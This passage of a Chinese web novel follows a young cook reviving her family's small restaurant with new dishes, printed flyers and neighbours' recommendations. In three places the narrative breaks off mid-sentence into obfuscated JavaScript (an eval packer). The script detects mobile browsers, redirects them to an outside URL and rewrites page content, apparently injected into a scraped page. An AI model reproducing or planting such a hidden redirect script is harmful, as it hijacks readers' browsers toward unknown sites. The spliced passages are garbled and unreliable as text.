“你刚才不是说【江云枫做的菜绝对不可能好吃，要是好吃你倒立吃肥皂】吗？”万磊笑道。 “臭小子，把肥皂吃了我还卖什么日用品啊！”万弘顺一敲拐杖，假装伸手打他，万磊嘻嘻哈哈地躲避。 万弘顺一转头，看到江云枫抱着胳膊，倚在厨房门口，正笑着看他，万弘顺想起刚才讲过的不客气的话，脸上一阵红一阵白。 两人都发现，江云枫改变了不少，不只是厨艺，连周身的气场都变得从容镇定，耳边点缀的枫叶耳钉，更是让她整个人显得松弛又飒爽。 万弘顺有点尴尬地清了清嗓子：“说实话，小江你以前做菜真的难吃，但是一个多月不见，做菜水平确实提升了不少，我吃了这么多年鸡肉，都没眼前这一份三杯鸡好吃。” 万弘顺咂了咂嘴，品味着口中的余韵，他终于明白了，为什么房东一家对江云枫态度转变如此之大，而且现在，他也相信江云枫能把饭馆做大做强了。 “我就说嘛，您先尝尝，就会知道跟之前不一样了。”江云枫笑道，“那再来一份？” 人一旦吃过真正的好东西，就很难再吃得下一般的食物了，万弘顺又吃了两口黄焖鸡，更觉得难吃，他干脆把吃了一半的黄焖鸡放在一边：“好！给我也来一份！” 另一份三杯鸡上桌，那鸡块呈现出近乎完美的焦糖色，清凉的油光裹在每一块肉上，看着好像加了一层明亮的滤镜，热腾腾的香气扑鼻，夹杂了几分酒气和甜香。 万弘顺忍不住动筷，鸡皮撕扯，整块咬下；肉块咀嚼间，香味四溢；连骨头上残存的肉丝他都不想放过，啃了又啃，骨头干净得像是用钢丝球刷过。 父子二人吃得正在兴头上，江云枫却在思考另一个问题，怎样才能让更多人知道江家小酒馆的存在。 在大梁，江家小酒馆地处在京城繁华地段，四通八达，不愁宾客。 而现在这里地处偏僻，整个上午，除了房东和隔壁杂货店老板，几乎没人路过，就算江云枫做菜再美味，可酒香也怕巷子深。 原主记忆中没有宣传过江家小酒馆，江云枫也不太清楚现代有什么传播方式，她想着干脆问问面前两个现代人好了。 “我能问您两位一个问题吗？”江云枫开口。 吃过三杯鸡，两人对江云枫的印象提升一大截，也乐意帮忙。 万弘顺咽下一口香喷喷的肉，大手一挥：“你尽管问，我知无不言！” 万磊也连连点头。 “您也知道咱们这边位置比较偏，没什么人来，我想问下您是怎么宣传杂货店、吸引客流的？” 4. 炸鸡松 “我们店卖的生活用品，比附近超市便宜很多，质量还是一样好，隔壁小区退休金少的老人喜欢光顾，这十几年积累了不少客源，就算不宣传每个月也有不少人固定来买。” 万弘顺知道江云枫想问什么，又补充道：“我们情况不同，不过我觉得你可以印一些宣传单发发，说不定会有新客源。” “好嘞，这是个不错的方法，谢谢您。” “不客气，还有什么问题都可以问我。” 在大梁，饭馆的口碑只能通过口口相传的方式散播出去，江云枫第一次了解到宣传单这种东西。 在手机上一番搜索后，江云枫知道了这种宣传单需要一些店铺信息，菜品名称和图片，她决定先做出一些样菜，拍了照片，然后找打印店制作传单。 父子二人吃完饭走后，江云枫刷洗了碗筷，拿出账本，翻开新的一页，罗列新加的菜品。 既然要宣传，最好是种类丰富一些，江云枫准备用常见的猪肉、鸡肉、鸭肉、鱼肉、虾各出一道代表菜。 经过一番考虑，她在本子上写下“松果肉”、“鸡松”、“油煎啤酒鸭”、“鲑鱼羹”、“鲜虾豆腐煲”几个菜名，并在后面分别备注了需要用到的食材。 江云枫合上账本收入包中，出发购买食材。 过了正午，菜市场里人少了大半，肉与菜也降价不少，江云枫很享受在这不拥挤的环境里采购的乐趣。 除了排骨，江云枫还挑了几块三肥七瘦的五花肉，瘦肉部分粉嫩，肥肉部分白如凝脂。鸡肉、鸭肉都要鲜肥一些的，炒菜时也容易出油，更添鲜香。 水产区鱼缸里，鳜鱼摆着尾巴来回游动，青虾则栖息在活水池中，商贩用抄网捞出，青虾此起彼伏地跳来跳去，江云枫选了一些最鲜活的买走。 细网装的一大袋鹌鹑蛋，散发坚果香气的松子仁，还有新鲜的香菇、金针菇、木耳、豆腐，都被选购。 江云枫还需要一些自然风干的火腿，只是看价格太贵，预算不够，选了火腿肠代替。 此外，她还买了面条和馒头，作为主食备选。 回到店里，江云枫提着菜进了厨房，开始做样菜。 被酱汁细细腌透的五花肉，在锅中红烧焖煮，肥肉部分莹润，瘦肉部分染成诱人深棕色，加入其中的鹌鹑蛋也裹上淡淡油光。 鸡松采用了两种做法，一炸一蒸。 鸡肉泥撒上松果仁，在虎口处捏出一个个肉丸，在热油中炸成金棕色的小球，香气扑鼻，这是炸的做法。 将炸好的鸡松同香菇片、火腿片一同放上蒸锅，盖上一块鸡皮蒸制，鸡肉香气锁在肉丸中，这是蒸的做法。 肥美鸭肉在锅中煎香，肥肉融化缩小成香喷喷的油，加入啤酒提味去腻，酒香肉香四溢。 白嫩鱼肉裹上生粉，在老母鸡熬的高汤中炖煮，细如绣线的香菇丝、火腿丝、葱丝、木耳丝加入其中，更添滋味。 虾仁过了油锅，从清灰变成橙红色，卷成虾球，同豆腐、金针菇一同焖煮，不用揭盖，香气便四溢。 很快，五道新菜“松果肉”、“炸/蒸鸡松”、“油煎啤酒鸭”、“鳜鱼羹”、“鲜虾豆腐煲”，以及两道老菜“排骨炖豆角土豆”、“三杯鸡”悉数上桌。 整个大堂香味四溢，江云枫看着一桌子的丰盛菜肴，成就感满满。 掏出使用得半生不熟的手机，江云枫研究了一下照相功能，把每道菜单独拿出来拍照，又给所有菜拍了个全家福。 她审美不错，菜的光泽被拿捏得刚好，氤氲的热气也被抓拍到，光是看照片，仿佛就能闻到味道。 经过一番认真拍摄，江云枫满意地笑了，把样菜收进保温箱，留作当晚饭，而后暂时关店，顺着导航找到了最近的一家打印店。 店内坐着一个平头戴眼镜的男人，正埋头玩手机，见江云枫来，关了手机打招呼，江云枫说明了来意。 “做宣传单，可以啊，您扫这里文件传输，把图片和信息发过来，我来排版制作。”章岩坐直了身子，点开文件接收。 不一会儿，他收到了一堆图片，仔细一看，视线骤然被吸引。 鸡肉丸子金灿灿地泛着光，堆在生菜叶子上，仿佛一座小金山。 鱼羹的汤汁是奶白色的，其中的各种菜丝呈现出黑色、翠绿、奶白、暗红交杂的颜色，从视觉上就很吸引眼球。 松果肉其实就是肉皮上切了井字形的红烧肉，经过漫长的炖煮，肉皮顺着刀口微卷，整块肉看上去像是松果一样有层次感，整体呈现酱色，看着从内到外都入味了。 每一张图都冒着腾腾的热气，章岩甚至有种错觉，似乎凑近就能闻到这些美食的气息。 “你的审美真不错。”章岩忍不住夸赞道，“这菜被你拍得很有灵气。” “谢谢。”江云枫扬起嘴角，“这些菜不仅成色好，味道也不错，有空可以来我们店尝尝。” “可以啊，看着就好吃。”章岩扶了扶眼睛，默默记下了江家小酒馆的名字和地址，准备这几天就去吃一下。 江云枫选了宣传单的尺寸，A5大小，章岩将图片和文字排版好，打印了一张样品出来。 “这个样式好，栩栩如生。”江云枫眼前一亮。 那宣传单上，照片的一半在纸面上，一半延伸出纸外，看上去就像立体的，很抓人眼球。 “就按这个样式印吧，先印50张看看效果。” 宣传单很快印好，江云枫还将每张图片放大彩印了一张，准备贴在店内墙上。 随后她去超市买了些打包盒，以便之后有食客需要菜品外带。又买了一块带麻绳的可以挂起来的小黑板。 回到江家小酒馆后，江云枫在墙上敲了颗钉子，挂起黑板，在上面写了菜名和价格，再将彩印出来的菜品图片对应贴好。完成这一切，已经是晚上六点多了。 江云枫的目光落在了宣传单上，她不能既做菜又发传单，而且随便找个人多的地方发传单，也不一定能精准吸引到想下馆子的食客。 找谁来发，在哪里发，都还是问题。 正在思考时，一张熟面孔进了店，江云枫眼前一亮，心里有了计划。 “欸，你来吃晚饭吗？”芸芸自己一个人进了店，江云枫迎了上去。 “对，我刚放学肚子好饿，中午吃到姐姐做的排骨，特——别好吃！所以晚上也想再来一份。”芸芸笑起来露出小小的虎牙，看着很可爱，“我有零花钱，可以付得起呦~” “我们店出了很多新菜，你要不要试试？”江云枫被可爱到，“哧”地笑了。 江云枫想着之前做的样菜吃不完，干脆作为试吃，请小姑娘帮忙消灭一些。 “好！”芸芸听到这里，眼睛冒光。 江云枫将样菜端出来热了热，给芸芸准备了干净的碗筷。 芸芸看着面前冒着热气的美味，咽了好几口口水，各夹了一些品尝，每尝一口都会拖长了声音叹道“太好吃了吧！”让江云枫成就感满满。 “怎么样，除了排骨，还有什么想吃的吗？”所有菜品尝完，江云枫问道。 “都很想吃！”芸芸犯了难，因为口袋里的钱只够买一份饭的。 她的视线扫过所有菜，犹豫了好几分钟，目光在三杯鸡和炸鸡松两道菜之间徘徊，最终锁定了三杯鸡：“那就来一道这个菜吧。” “除了米饭，主食还可以选面条或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那炸鸡松外皮酥酥脆脆的，一咬“咔吧咔吧”脆响，里面倒是嫩嫩的，鸡肉鲜美香气被热油激发出来，香而不腻。 嚼一嚼，内里包裹的松子仁也脆脆的，独属于坚果的香气在口中弥漫，鸡肉和松子仁各有各的香法，搭在一起反倒别致。 “好好吃啊，比炸鸡都好吃！”芸芸又往嘴里塞了两个炸鸡松，嘴上吃得油光闪闪。 吃水不忘挖井人，芸芸见天还没黑，没有先回家，而是先来到同小区的小伙伴鹿欣欣家，敲响了门。 鹿欣欣的妈妈李心怡开了门，她脸胖胖的，笑起来很和善：“芸芸？你是来找欣欣玩的吧？我去帮你叫她。” “等等，阿姨，有个东西是给你的。”芸芸从背包内抽了一张宣传单，递给李心怡，“这个饭馆是江家小酒馆，里面的饭菜可好吃了，阿姨您什么时候馋美食了，可以去吃一吃。” 李心怡接过宣传单，上面的菜确实很诱人，可她听到“江家小酒馆”的名字，立刻连宣传单都不想看了。 两个月前，她去江家小酒馆吃过一次饭，那道惊艳的草莓炒芹菜，让她这样一个爱吃的人也一筹莫展，回家后自闭了很久。 就算宣传单上拍得再好看，她也绝对不会去江家小酒馆的。 但是芸芸水灵灵的大眼睛看着她，她也不好意思直接拒绝，把宣传单折了两折，塞进兜里，打算等芸芸走了再扔掉：“好嘞，阿姨把宣传单收好。” “你先进来坐吧。”李心怡招呼着芸芸进门，又转头喊房间里的鹿欣欣，“欣欣，看你好朋友来啦，快出来！” 芸芸刚坐定，李心怡就闻到一股非常香的炸鸡味，视线很快锁定了芸芸，她正用竹签扎着一个个成色.诱人的丸子吃。 “芸芸，你这炸肉丸从哪里买的？”李心怡深吸一口气，那带着油香的鸡肉香沁人心脾，她有点馋了。 5. 炸鸡松、三杯鸡 “这个就是江家小酒馆的新菜呀，我吃到后感觉好吃，想跟欣欣分享一下。”芸芸晃着袋子，外壳酥脆的炸丸子摩擦着纸袋，发出“哗啦哗啦”的声音。 “江家小酒馆的食物这么香了吗？......”李心怡有些疑惑了。 “有好吃的！”鹿欣欣胖胖的，往常都是慢吞吞地走出来，现在迅速被香味召唤出来了。 “你尝尝，这个是炸鸡松，今天江家小酒馆的店长姐姐给我的，超级好吃！中午我和爸爸妈妈还去吃了她做的排骨，也很好吃！”芸芸嘴上泛着油光。 鹿欣欣接过竹签，扎了一个丸子，一大口吃下，酥酥脆脆的外壳“咔滋”碎裂，油味焦香四溢，内里的鸡肉很鲜嫩，还有点弹牙，淡淡的油汁和鸡肉汁融合在一起，香得很。 松子仁在后槽牙碎成齑粉，坚果香弥漫口中，给油炸后的鸡肉带来一股清新的味道。 “哇......这也太好吃了吧！”鹿欣欣胃口大开，“里面脆脆的颗粒是什么啊？味道很别致。” “我问过店长姐姐，她说是松子仁。”芸芸又吃了一颗。 “在肉丸子里加松子仁，好特别的做法，不过非常好吃！”鹿欣欣也吃了一颗。 李心怡平时虽然爱吃，却不会馋小朋友的食物，可这一次，炸货味道飘满整个客厅，她有些坐不住了。 “这个炸丸子确实很香，阿姨也尝一个，可以吗？”李心怡问道。 “可以呀，阿姨你吃。”芸芸大方地给李心怡也扎了个丸子，把竹签递给她。 “谢谢芸芸。”李心怡接过丸子。 还没入口，炸丸子的香气就在鼻孔里钻来钻去了，李心怡咬下半个丸子，粗糙的丸子外层酥脆，每嚼一下都有淡淡的油汁渗出，在味蕾上大放光泽。 从侧面看，肉丸子里没有筋，所以不会塞牙，始终保持嫩滑，其中散布着松子仁，各个颗粒饱满。 细细咀嚼，松子香气醇厚，鸡肉香气淡淡的，油香浓厚，三者搭配在一起，让咀嚼停不下来。 “这竟然是江家小酒馆做出来的菜吗？”李心怡惊讶。 “是的！”芸芸点头。 “他们家店换老板了吗？”李心怡还是很疑惑。 “没有呀，我和爸妈今天中午刚去过，还是以前那个姐姐。”芸芸把最后一个丸子分给鹿欣欣，看到纸袋里还有一些碎渣渣，仰起头，张大嘴，将最后一点碎渣渣也倒嘴里吃掉。 李心怡觉得不可思议，从兜里掏出折叠了的宣传单，细细看着。 鱼羹雪白，各种菜丝分布其中，看上去口感就很丰富；橙色的虾肉窝在炖煮碎裂的嫩豆腐里，还有金针菇浸润汤中，似乎清淡却又很鲜美。 还有那呈现出酱色的松果肉，外皮呈现半透明的胶质状；肥美的鸭肉，上面撒了翠绿的葱花...... 那宣传单上看上去很立体的照片，让李心怡垂涎欲滴。 不过之前江云枫也不是没做过看着好吃、味道却很炸裂的菜品，李心怡又好奇，又不敢相信，不过她心里还是痒痒的，想着什么时候真去江家小酒馆吃一顿。 “好好吃啊，可惜没有了......”鹿欣欣细嚼慢咽着最后一个丸子，看到空空的纸袋，怅然若失。 “没关系，这道菜江家小酒馆天天有呢，想吃了可以再买呀。”芸芸指了指宣传单，站起身，“欣欣、阿姨，我先回家啦。” “好的，慢走。”李心怡把芸芸送出门，鹿欣欣也依依不舍地目送她离开。 芸芸尽到了小宣传委员的责任，给熟悉的小伙伴、经常打招呼的邻居、住得近的亲戚都发了宣传单，而后提着三杯鸡回了家。 - “我回来啦。”芸芸关上门。 “怎么回来这么晚？”龚书蕾正在做菜，从厨房探头出来。 “刚才去江家小酒馆，跟店长姐姐买了一份三杯鸡，她还送了我一份炸鸡松呢。” 芸芸说着，从厨房拿了两个碗，将已经有点凉的三杯鸡，以及两个馒头从塑料饭盒倒进碗里，放进微波炉加热。 龚书蕾本来也想晚上去江家小酒馆吃饭，可出门吃比在家自己做饭多花很多钱，她有点舍不得，另外就是，上午还要赶江云枫走，结果一天去她店里吃两次饭，面子上挂不住。 听到芸芸说从江家小酒馆买了饭，龚书蕾来了兴致：“这个是三杯鸡？那炸鸡松在哪儿呢？” “我跟欣欣吃完了。” “哦，这样啊。”龚书蕾有点遗憾，然而很快就被香味吸引，三杯鸡加热后，香味弥漫更快，从微波炉缝隙中透出来，带着酒味与甘甜的肉香，让她顿时觉得自己做饭不香了。 芸芸将热好的三杯鸡端去餐桌，龚书蕾也跟了过去：“你这三杯鸡让妈妈尝尝呗。” “嗯......可以，不过我只能分你两块。”芸芸犹豫了。 “行啊。”龚书蕾立刻起身进厨房拿了两双筷子。 龚书蕾第一眼瞄准的是一块鸡腿骨末端，那个位置一般有一块球形的脆骨，上面的鸡皮也是细细嫩嫩，绷得紧紧的。 牙齿一咬，附在骨头上的鸡皮便被撕下，细嫩的鸡皮连带着浓香的汤汁入口，再咬一口，脆骨在后槽牙清脆破碎，连着的软筋略带嚼劲。 “好别致的味道！”龚书蕾忍不住感慨。 吃了这么多年的鸡肉，一般也就是咸口的、酱香的，最多也就是炖煮酥烂才让口感有些不一样。 可江云枫做的三杯鸡，味道层次非常丰富。 油炸后的香气锁在了肉层深处，有点肥的鸡肉口感更鲜，酱汁增加了恰到好处的咸味和醇香，咀嚼几秒后，微微的甜味泛起，并不腻，但很增鲜。 芸芸则先挑了一大块肉，一整块送入口中。 鸡皮附带的油脂滑滑的，口感很肥美，轻抿之下只剩下满口留香，并不腻味。鸡肉鲜嫩，且吸饱了汤汁，轻嚼之下，格外嫩滑，内部有油炸后的焦香。 恰到好处的咸香，带了几分似有若无的甜味，再细品，黄酒的酒气和米酒的香气，也全部锁进鸡肉里，在味道中增加了几分微醺。 “真香啊......我前半辈子从来没吃过这么美味的鸡肉。”芸芸忍不住感慨。 “你这小丫头，才多大就说前半辈子。”龚书蕾笑道，又夹了一块肉。 芸芸拿起热腾腾的的馒头，掰下一块，将馒头浸泡在汤汁中，那雪白疏松的馒头慢慢被汤汁染成棕色。 送入口中，馒头面香十足，每嚼一下都有香香的汤汁渗出，那米酒醉人的清冽香气，加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793537|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡肉扑鼻的肉香，让她沉醉。 看到芸芸享受地眯起了眼，龚书蕾又坐不住了：“要不，你的馒头也分给妈妈吃一点？” “不要不要！你再自己买吧。”芸芸摇头，把手里的馒头掰成小块洒在汤汁里。 龚书蕾作势要夹走她沾了汤汁的馒头，芸芸赶紧用胳膊圈住两个碗：“不要偷吃！” “这样吧，我再给你一份零花钱，你让我吃一口。” “不行，我自己还吃不够呢。” “就吃一口。” 母女两个笑着打打闹闹，空气中氤氲着三杯鸡浓郁的香味。 - 晚上八点，江云枫关了店。 今天卖出去6份饭，虽然食客都是房东和隔壁店这些老相识，没添新食客，不过今天的任务还是达标了。 明天能不能卖出5份饭还是未知数，毕竟就算是老食客也不一定会天天来吃。 万弘顺自告奋勇找江云枫拿了10份宣传单发给邻居，江云枫也找了附近热闹的地方，发完了剩下的宣传单。 希望能吸引到新食客。江云枫心想。 第二天上午开店，中午十一点四十，江云枫眼前一亮，一个胖胖的女人的身影出现在江家小酒馆，似乎是原主曾经打过照面的某位食客，不过并不熟。 “您好，您可以先坐，看看吃点什么。”江云枫坐出引导的手势，又从厨房端出一玻璃壶刚泡好的大麦茶，给面前的女人倒水。 自从昨天尝过炸鸡松，李心怡就难以忘怀这个味道，甚至晚上还有点失眠了，今天中午刚下班，她说什么也想来江家小酒馆，再吃一次炸鸡松。 李心怡左右看看，桌椅虽然有些破旧，可桌上棕色的陶罐，和枝叶伸展、散发淡香的插花，是点睛之笔，让整个饭馆有了雅致的氛围。 看了眼标有价格的小黑板，价格都在二三十元，比较合理，配的图片和宣传单上一样，放大来看，更加诱人。 “那就要一份这个炸鸡松，然后......再来一份松果肉吧。”付完钱坐定，李心怡喝了一口大麦茶。 馥郁麦香顺着温水流入口腔，滋润唇舌，一上午工作的疲惫都被这大麦茶抚平了。 “没问题，我这边准备。”江云枫回到厨房。 剁碎的鸡肉已经腌制好，看着粉色的肉糜在油锅中“滋滋”作响，慢慢成熟，变成小麦色，内心很舒畅。 从猪肉皮部位横竖下刀，切口犹如棋盘分布，肥瘦适中的猪肉，连同鹌鹑蛋、香料一起入锅炖煮。 江云枫精确掌握着火候，待到肉八分酥烂时捞出，肉皮再在热油上煎得焦香，即可出锅。 即使抽油烟机非常强力，香味还是带着穿透力被坐在大堂的李心怡闻到，她深呼吸着，仿佛闻到就是吃到。 半晌，江云枫端着两道菜向她走来。 没有什么死亡菜色，有的只是两道精致如艺术品的菜。 金棕色的炸鸡松每一颗都小巧精致，在翠绿的生菜叶上堆叠成山。松果肉呈现出几乎完美的深棕色，外皮微卷，还真像是山间掉落的松果，鹌鹑蛋裹上一层酱汁，点缀其中。 李心怡本想着，如果再吃到黑暗料理可就要生气了，可现在，她所有的话都咽下肚，肚子咕噜噜叫了一声。 6. 松果肉、鲜虾豆腐 “哈哈哈，忙了一上午肚子太饿了。”李心怡掩饰着肚子“咕咕”叫的尴尬。 “请慢用。”江云枫柔和一笑，转身回了厨房。 李心怡被这笑感染到，忽然发现江云枫给人的感觉不一样了。 之前她总是怯生生的，也很少讲话，导致食客们也莫名有些不自然，可现在，江云枫柔和又松弛的能量场，让她很放松。 面前的香味把她的注意力吸引回来，李心怡夹起一颗炸鸡松，送入口中。 崎岖的外皮摩擦着嘴唇，留下花生油浓郁的香气，外壳碎裂，焦脆的质感引得她不断咀嚼，鸡肉与松子仁香气在唇舌间绽放。 由于是刚出锅的炸鸡松，热腾腾的，比昨天她吃到的更酥脆、更香了！ “呼——”李心怡呼出一口热气，整个嘴巴都是香香的味道。 又吃了几颗炸鸡松，松子仁的粉末和鸡肉糜填满了后槽牙的缝隙，李心怡捧起大麦茶喝了一口，清爽又踏实的麦香席卷口腔，冲走食物残渣，口中清清爽爽。 “好久没吃到这么香的炸鸡丸子了。”李心怡感慨道。 上次她吃到好吃的鸡肉有关的炸货，还是上小学时吃的炸鸡柳。 如今炸鸡种类虽然多，但都过于油腻，各种各样的酱料掩盖了鸡肉原本的味道，而且吃完还时不时肚子疼。 面前这道炸鸡松，油汁都是淡淡的，并不因为油炸过而腻味，咸味适中，鸡肉最本质、淳朴的味道激发出来，满口喷香。 李心怡又将视线转向了松果肉，看上去就是做了造型的红烧肉，不过食材和摆盘都很精致，一眼望上去宛如艺术品，很是惊艳。 每个肉块都是方方正正，肉上的刀口横平竖直，看得强迫症患者很舒适，炖煮过后肉皮翻卷，整块肉像是松果一样，有着层层叠叠的层次感。 小火慢炖，让酱色融入肉块，也让白生生的鹌鹑蛋挂上一抹咸香的酱汁。 肉块与鹌鹑蛋掺杂，本就足够诱人，盘边上用来装饰的松枝，又为这荤菜平添一抹清爽。 “真好看......”李心怡换着角度给这道菜拍了好几张照片，发在了三人闺蜜小群里。 【李心怡：猜猜这是哪家店做出来的菜？】 李心怡发完消息，夹起松果肉咬了一口。 外皮带着焦香，嚼起来满满的胶质感，肥肉间的油汁煸出很多，剩下的部分鲜滑却不油腻。 瘦肉部分味道也不俗，肉香与酱香的配比刚好，相辅相成，将猪肉最精华的香气呈现出来。 “这味道真是绝了......”李心怡又咬了两口，往口中扒拉一口米饭，软糯的米饭和酱汁充足的肉块同嚼，令人充满愉悦感。 “噔噔~”李心怡的手机消息音响起，她拿起一看，闺蜜小群有人回复。 【周燕生：这么好看的菜！第一次见到五花肉还能做得这么精美，是什么老牌饭馆吗？】 【孟玥：你今天上班还是休假啊？我看这像是五星级酒店的饭菜，真好看，味道也很不错吧？】 李心怡又吃了一块肉，才从美食享受中抽出身来，劈里啪啦打字回消息。 【李心怡：就是我上次去的那个江家小酒馆。】 【孟玥：？？？那个做出草莓炒芹菜、方便面炒巧克力的江家小酒馆吗？】 【周燕生：老板是不是换人了？】 【李心怡：没换人，还是原来那个老板，厨艺可以说是突飞猛进！这个炸丸子外酥里嫩，还有这个松果肉，肉香极了，酱汁还贼浓稠！】 打完字，李心怡夹起一块肉，晃了晃，左手拿起手机拍了个几秒的视频，发在群里。 视频中，松果肉上挂了一层晶莹的酱汁，轻轻摇晃，那半透明的棕色肉皮，随之左右晃动，令人胃口大开。 【周燕生：啊啊啊啊啊，好想咬一口啊！这Q弹得像果冻一样谁受得了！】 周燕生刚吃完饭，却觉得刚才吃下的饭不香了。 【孟玥：地址发过来吧，我周末就去吃！】 【周燕生：也发我一份！到时候我们一起去啊】 将定位发在闺蜜群后，李心怡继续专心吃饭，鹌鹑蛋裹满了酱汁，滑溜溜的，她用筷子夹了几次夹不起来，索性用勺子捞了一个。 刚入口，香浓的酱汁滋润了舌头，将味蕾打开，牙齿刚咬到鹌鹑蛋的蛋清，那蛋清直接崩开了，软嫩的蛋清在口中破碎出清新的味道。 内里的蛋黄质地绵密，吸收了少许肉汁，香气四溢。 “真是享受啊......”李心怡感叹着，用勺子舀了肉汤在米饭上，来回翻拌，肉汤浸润每一颗米饭。 肉汤勾芡过的缘故，汤汁浓稠，搅拌之后，米饭也变得软黏了。 一勺拌了肉汤的米饭，鲜香多汁，一口肥瘦相间的松果肉，口感绝佳，一颗嫩滑绵香的鹌鹑蛋，口感轻盈，再时不时吃一颗炸得焦焦脆脆的炸鸡松。 这一顿饭简直太满足了！ 李心怡风卷残云地将盘中食物吃得干干净净，意犹未尽地擦着嘴，胃是饱了，可嘴没饱，总还想嚼点什么，不过确实吃不下了。 “味道怎么样？”江云枫见她吃完了，满脸笑意道。 “特别好吃！无论是口感、气味还是摆盘，水准都很高。我刚才拍照给闺蜜推荐了，闺蜜还以为是五星级酒店的饭菜呢！”享受到了如此美味，李心怡不吝啬言语的赞美。 “不过这么好的店，竟然没什么人来吃，真是可惜。”李心怡叹了口气。 “以前做菜水平有限，把老客户弄丢了，不过没关系，现在我厨艺提高了，慢慢再积攒新客就好。”江云枫气定神闲道，“您要是觉得好吃，还记得跟身边人推荐推荐。” “可以的。”李心怡也确实曾因为江家小酒馆饭菜难吃，再也不想来了，不过现在她不想让这些美味被埋没，“对了，我们小区有个群，我拉你进去吧，你可以在里面发江家小酒馆的广告。” “发广告不会被踢出去吗？” 江云枫发现原主手机确实有一些群，只不过每个群公告都会写“发广告会被踢群”，她便作罢了。 “没关系的，我这个是美食群，发美食推荐相关的不会被踢。”李心怡加了江云枫联系方式，介绍了自己的名字，又拉她进群，“管理员通过加群申请还要些时间，我先在群里推荐你们家店好了，你进去可以再补充。” “好的，谢谢你。”江云枫转身回厨房拿了一杯米酒，“感谢推荐，送你杯米酒喝吧。” “你太客气了。”李心怡笑着，接过米酒。 - 临近中午十二点，苏慧茹刚要做饭，忽然想起之前在楼梯碰见江云枫，她说要把江家小酒馆开起来。 这已经一天多了，要是一个食客都没有，估计江云枫会很伤心。 苏慧茹这样想着，放下围裙，背起斜挎包，准备去江家小酒馆吃饭。 要是真的一个顾客都招揽不到，她还可以安慰安慰江云枫，劝劝她转行找个其他工作，起码还能维持生计。 苏慧茹刚来到江家小酒馆，就看到一个胖胖的女人端着一杯米酒走出门，脸上洋溢着幸福的笑，嘴上还泛着油光。 按理说去江家小酒馆吃饭，没人能笑着走出来，除非是无奈的苦笑。苏慧茹觉得奇怪。 进门后，苏慧茹觉得店内的氛围都不一样了。 橘色的火焰兰和小柿子，蓝粉交杂的牡丹菊，将店内装点得很有活力，面前向她走来的江云枫面带笑意，看来她终于从父母意外去世的阴影里走出来了。 “苏阿姨，您来啦。您看吃点什么？” 江云枫一指墙上挂的黑板，菜名搭配的照片栩栩如生，几秒间就勾起人的食欲。 “对，我是来捧场的。这些照片是你在网上找的，还是......” “我自己做出来的菜，拍的照片。”江云枫解释道。 “你现在做菜这么厉害啦？”苏慧茹难以置信，目光扫视所有菜品，最后选中了松果肉和鲜虾豆腐煲，伸手指了这两道菜，“那就点这两份菜吧，再要一份米。” “没问题，您先坐着喝喝茶，看我给您大显身手。” 江云枫知道苏慧茹不相信自己的水平，狡黠一笑，给她倒了杯大麦茶，去厨房备菜了。 苏慧茹喝了口茶，润了润喉咙，口中都是清香的味道，很舒服。 没过一会儿，厨房内传来香味，不仅有红烧肉的肥美香气，还有小火慢煨虾肉的鲜美气息，苏慧茹忍不住深吸气，更好奇江云枫做出来的菜是什么效果了。 很快，江云枫端着两份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793538|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜出来了，苏慧茹的目光也登时被吸引住。 松果肉的瘦肉是深棕色，外皮是浅棕色，晶莹如琥珀，鹌鹑蛋像是白玉石错落其间，再加上边上松枝与青翠松针的点缀，精美至极。 橙色的虾球和白嫩的豆腐，浸润在橙红色的汤汁中，金针菇在汤面若隐若现，切得细碎的葱花撒在上面，加了一抹青绿。 两份菜放在桌上，肉的鲜美、酱的醇厚、虾的鲜味、豆腐的清新，伴随着热气揉合在一起，完全拿捏住了苏慧茹的胃。 “稍等，我去盛米饭。”江云枫见她看愣了，脸上浮现出笑意。 苏慧茹已经将米饭抛在脑后，舀了一勺虾仁豆腐，“呼噜”吸入口中。 那虾仁两面煎过，带着微微的焦香，炖煮的火候刚刚好，虾肉嚼起来Q弹，又不至于太老，独属于虾肉的鲜美香气在舌尖萦绕。 豆腐细嫩，甚至舌头一触即碎，清润的豆腐香气，被虾肉浸染，那汤汁加了调配好的酱料，味蕾捕捉到了不寻常的鲜味。 加了番茄酱的缘故，这道菜的口感是咸中带酸甜的，浓郁美味。 一口下肚，热乎乎的，让嘴巴和胃都得到了满足。 “好鲜啊！”苏慧茹说着，又来了两大勺虾仁豆腐。 她第一次觉得，一道菜不用重油重盐，也可以让人欲罢不能。 江云枫将热腾腾的米饭放在苏慧茹面前，她抬眼看江云枫，眼神变得亮晶晶的：“有段日子不见，小江的手艺简直是翻天覆地的变化！” “您说的这是句大实话。”江云枫笑道。 “诶哟，蛮不客气的嘞。”苏慧茹还以为江云枫会谦虚一下，说什么“您过奖了”之类的，没想到她的自信和手艺成正比，让苏慧茹捧着碗哈哈大笑。 连吃了几口虾仁豆腐，苏慧茹呼出一口热气，视线转向了旁边的松果肉。 夹起松果肉，送入口中，酱汁从井字形刀口往内浸润，更加入味。 